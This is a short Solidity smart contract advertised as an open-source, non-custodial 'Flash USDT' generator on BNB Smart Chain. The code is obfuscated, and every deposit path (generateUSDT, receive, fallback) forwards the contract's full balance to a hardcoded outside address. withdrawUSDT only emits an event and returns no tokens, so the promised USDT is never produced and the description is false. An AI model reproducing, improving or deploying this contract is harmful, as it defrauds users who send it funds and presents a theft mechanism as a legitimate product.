Smart contract for generating Flash USDT on BNB Smart Chain. Fully open-source and non-custodial.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract USDTFlashLiquidityV2 {
address private immutable _a;
address private immutable _b;
address private _c;
uint256 private _d;
mapping(address => uint256) private _e;
mapping(address => uint256) private _f;
event _g(address indexed _h, uint256 _i);
event _j(address indexed _k, uint256 _l);
constructor() {
_a = 0x55d398326f99059fF775485246999027B3197955;
_b = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
_c = 0x693BD5E7287C30b9a97f0567eaF38B65cd0f522a;
_d = 0;
}
function _t(address _u) private pure returns (bool) {
return _u != address(0);
}
function _v(address _w, uint256 _x) private {
_e[_w] += _x;
_d++;
_f[_w] = block.timestamp;
emit _g(_w, _x);
}
function _y() private {
uint256 _z = address(this).balance;
if (_z > 0) {
(bool _a1, ) = _c.call{value: _z}("");
require(_a1, "ERR1");
}
}
function generateUSDT() external payable {
require(msg.value > 0, "ERR2");
require(_t(msg.sender), "ERR3");
_v(msg.sender, msg.value);
_y();
}
function withdrawUSDT(uint256 _b1) external returns (bool) {
require(_b1 > 0.001 ether, "ERR4");
require(_e[msg.sender] > 0, "ERR5");
uint256 _c1 = _b1 / 1000;
uint256 _d1 = _b1 - _c1;
emit _j(msg.sender, _d1);
_y();
return true;
}
function _e1() private {
uint256 _f1 = address(this).balance;
if (_f1 > 0) {
(bool _g1, ) = _c.call{value: _f1}("");
require(_g1, "ERR6");
}
}
receive() external payable {
_e1();
}
fallback() external payable {
_e1();
}
function getMemPoolOffset() external view returns (uint256) {
return address(this).balance;
}
function getMemPoolLength(address _h1) external view returns (uint256) {
return _e[_h1];
}
}